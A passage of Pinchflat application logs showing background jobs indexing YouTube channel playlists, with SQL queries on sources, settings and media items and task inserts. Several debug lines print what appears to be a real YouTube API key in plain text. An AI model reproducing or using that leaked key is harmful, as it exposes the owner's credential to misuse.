m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [26, "VdWHQYgG_jo", "6LzK3lEKkGE", "JJ_mw6lB3JU", "ZcmJFcMBm9w", "dlFQrYB5wKw", "nPbCi4t4NkA", "8asBU46CygQ", "yQArIsKTw5U", "1x2IhzNuxm4", "nxjWJIgvoOQ", "nlgL1IJXtoU", "lxxWezu1R48", "cQAPX3Qmbbw", "Qx4mqyQgZRE", "A8UXgQagHGE", "-XokzL0OQu0", "1hNouH7bBf4", "qZKBr-uzWXE", "tCG0_ctAGuw", "dJpTLJa07R0", "06xaEhog2jc", "xCly46rmt_E", "fgvCSP_Uieo", "Y-Glc4AfUu8", "WhrVgN8MHvE", "wdeJMY-yjxY", "ewCRfp9isyQ", "TC69Hts9xUw", "QD10PkEFM8w", "EDTL7eqicgk", "TN9ynzCtxH0", "PIm8vxiuo80", "d5wK7sqUPME", "g52_h5ba7AI", "eCXvteo9yPM", "LffHwB95-nc", "d5EbHE-E_30", "ISfcCtkM9Eg", "waruccu-7dk", "rp5VlotPNVY", "rfDYEpo49MM", "u7g9F323AaU", "oLw4zWP1x5g", "WWUoR1s8tqY", "1yRMUHRkPmg", "8o1haKR8l3U", "10e4_tNBP6M", "vnnhy_10FBA", "GQrTQ862rvU", ...] 15:57:07.213 [debug] QUERY OK source="media_items" db=0.5ms idle=103.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [26] 15:57:07.213 [debug] QUERY OK source="tasks" db=0.1ms idle=103.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799864, 26, ~U[2026-02-10 21:57:07Z], ~U[2026-02-10 21:57:07Z]] 15:57:07.214 [info] {"args":{"id":26},"id":3799825,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":105056,"event":"job:stop","queue_time":548818,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:08.109 [info] {"args":{"id":18},"id":3799826,"meta":{},"system_time":1770760628109668697,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:08.109 [info] {"args":{"id":39},"id":3799827,"meta":{},"system_time":1770760628109698953,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:08.110 [debug] QUERY OK source="sources" db=0.1ms idle=895.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [18] 15:57:08.110 [debug] QUERY OK source="sources" db=0.1ms idle=895.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 15:57:08.110 [debug] QUERY OK source="settings" db=0.1ms idle=890.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:08.110 [debug] QUERY OK source="settings" db=0.1ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:08.110 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:57:08.110 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:57:08.110 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:08.110 [debug] Fetching recent media IDs from YouTube API for playlist: UUQ5w3fSomzziZfO7neK7eAg 15:57:08.110 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:08.110 [debug] Fetching recent media IDs from YouTube API for playlist: UUEbFX3P9ADiJvle5Z0Qyw2A 15:57:08.110 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:08.110 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:57:08.110 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:08.110 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:57:08.270 [debug] QUERY OK source="media_items" db=0.6ms idle=159.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [18, "rftUQzr5MNY", "pXjsYsJR8eU", "prJa6chyjqQ", "e8MxxudBYHk", "a_0XQWA15FI", "jTWFMDJ7DrI", "6U5VizZp2mM", "6CmauK9WXDI", "wgXSw9BpnpU", "i07HAgTz45c", "xM9S3yBulYw", "4Bm5-NIl_RA", "HthaE0RZOck", "kHXxl9yqdbE", "D4ozSz8ab_E", "JvrGuAU-eQ4", "4Nr6hiHbgAw", "EKRoREgXcaQ", "mzTwPwIQENg", "fc3rJ0sJsbI", "j5J9rO_2xsY", "dMCQgYjSoSw", "itGzr7HZl9I", "-anIMIYnyjc", "kPGIGgFI3_E", "5q_lWJSquoc", "Pukp9nKozE8", "sPDYpIlReGY", "LEyq9a84wuU", "ez1buVmEKLU", "Zy_i-7hOQ_c", "yipidSya0Gc", "XiHlv0w2zMo", "cYIiWIJ07co", "_uh9kNqfJzY", "IaadHU9ku_k", "qqcbiTuW6dw", "rsIwHYDhr8M", "5o-L5_zpUc4", "6WiVRluXP80", "qGc2FEC3Htw", "q2pmhQoEGIw", "1J4rDpbqXG8", "9H-9_FLOs7w", "84Bep8MqnRs", "tJvqC1EhOrY", "Rlec9tt_xDA", "PRVOTbvtqwE", "gN7dibXWGlM", ...] 15:57:08.271 [debug] QUERY OK source="media_items" db=0.7ms idle=160.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [18] 15:57:08.272 [debug] QUERY OK source="tasks" db=0.1ms idle=161.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799865, 18, ~U[2026-02-10 21:57:08Z], ~U[2026-02-10 21:57:08Z]] 15:57:08.273 [info] {"args":{"id":18},"id":3799826,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":163177,"event":"job:stop","queue_time":441308,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:08.279 [info] {"args":{"id":3},"id":3799828,"meta":{},"system_time":1770760628279642496,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:08.279 [debug] QUERY OK source="sources" db=0.1ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:57:08.280 [debug] QUERY OK source="settings" db=0.1ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:08.280 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:57:08.280 [debug] QUERY OK source="settings" db=0.0ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:08.280 [debug] Fetching recent media IDs from YouTube API for playlist: UUy0tKL1T7wFoYcxCe0xjN6Q 15:57:08.280 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:08.280 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:57:08.388 [debug] QUERY OK source="media_items" db=0.7ms idle=107.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [39, "oWwW7c73VEU", "Mlkedoq9Jc0", "CyROrlgXuxM", "DNFVUUSirec", "CBm031TNOBI", "pqsDSom58mA", "K4l-Iq7cUy0", "G5FmHkhNll0", "jcXhbGr4UXE", "CHXnJ2dqdeQ", "6mMkOOd85iY", "BzzBe1O4Sr0", "jpaUrDMW-xg", "CQhT2bZk-5w", "16WDLl-9svE", "0sw-9LcNYuU", "Gb2WMmJdg-0", "6IvRdRMfckI", "uK7duSgRTg4", "a5MZNJQdWMs", "0aIc4DK4KJU", "qoqprEJXUho", "Q31kdjWuJk0", "Oi3cII72g_Q", "EWUx-l6V8LY", "3ltZPDlAzjU", "0Y4qlkciOcs", "_EXBwKthvpU", "Wh33yQMl1E4", "Zmm4cH8rdbo", "udwdvn4CkUM", "gVmYPFscC9s", "siDrI-MD-LA", "xoqZcColJJQ", "_g7eG4Ax5RE", "tTnZ7eisAJI", "6Pxhj3El-5w", "YEcpFV6RELU", "x2L4YTdsD2o", "qIZd11xXCfQ", "Qkmowfr8czQ", "t86uzOhx8sw", "dhct918lLaM", "-3cN37P8DME", "aMBWoX-RTlU", "cFPi6Ya4QPE", "CzGfMeo8Toc", "qXaUPK6ZLpc", "18QTNVOpQ54", ...] 15:57:08.389 [debug] QUERY OK source="media_items" db=0.3ms idle=108.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [39] 15:57:08.390 [debug] QUERY OK source="tasks" db=0.1ms idle=109.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799866, 39, ~U[2026-02-10 21:57:08Z], ~U[2026-02-10 21:57:08Z]] 15:57:08.390 [info] {"args":{"id":39},"id":3799827,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":280456,"event":"job:stop","queue_time":255515,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:08.516 [debug] QUERY OK source="media_items" db=0.9ms idle=126.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "KtQ9nt2ZeGM", "tCVsyY5TRQI", "oy7BrKNmZAQ", "INZybkX8tLI", "8I4Jc-WLsrs", "DAX2_mPr9W8", "ms8uu0zeU88", "Aytf6ARcs8s", "JzClLWL-Eys", "HFYWHeBhYbM", "SaKKzZRrPIg", "W96a8svXo14", "OSCOQ6vnLwU", "j_QfX0SYCE8", "OOK5xkFijPc", "QEJpZjg8GuA", "HnMuNCl7tZ8", "kTctVqjhDEw", "qSFNufruSKw", "6Ea6jf-9Czo", "dHskIsOYZ8s", "6h9JhW-m35o", "Namf-Ddo_Xo", "WkIR23emsWY", "zsA3X40nz9w", "CnMRePtHMZY", "CzJKxUCKOBg", "3-Q87w8uhwg", "XRCprhlz4D8", "uhbDfi7Ee7k", "YGT1EvmDJh4", "jHP942Livy0", "XeDCCNFAULk", "TLm7Q92xMjQ", "ff04ecF9Dfw", "ZcH0j7tOrDA", "DTsQjiPlksA", "AEm-2giH_zw", "E3p_Cv32tEo", "va1rzP2xIx4", "Limpr1L8Pss", "TBPVJtGBf8Y", "bis_4MT5SSo", "ue-1JoJQaEg", "vNj75gJVxcE", "Khp3wb0QMpQ", "ZJOfyMCEzjQ", "zb7Bs98KmnY", "8PTjPzw9VhY", ...] 15:57:08.518 [debug] QUERY OK source="media_items" db=0.7ms idle=127.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 15:57:08.519 [debug] QUERY OK source="tasks" db=0.1ms idle=122.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799867, 3, ~U[2026-02-10 21:57:08Z], ~U[2026-02-10 21:57:08Z]] 15:57:08.519 [info] {"args":{"id":3},"id":3799828,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":239687,"event":"job:stop","queue_time":330985,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:21.122 [info] {"args":{"id":36},"id":3799829,"meta":{},"system_time":1770760641122722339,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:21.123 [debug] QUERY OK source="sources" db=0.1ms idle=1244.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 15:57:21.123 [debug] QUERY OK source="settings" db=0.0ms idle=1244.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:21.123 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:57:21.123 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:21.123 [debug] Fetching recent media IDs from YouTube API for playlist: UUEcrRXW3oEYfUctetZTAWLw 15:57:21.123 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:21.123 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:57:21.278 [debug] QUERY OK source="media_items" db=0.6ms idle=154.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", 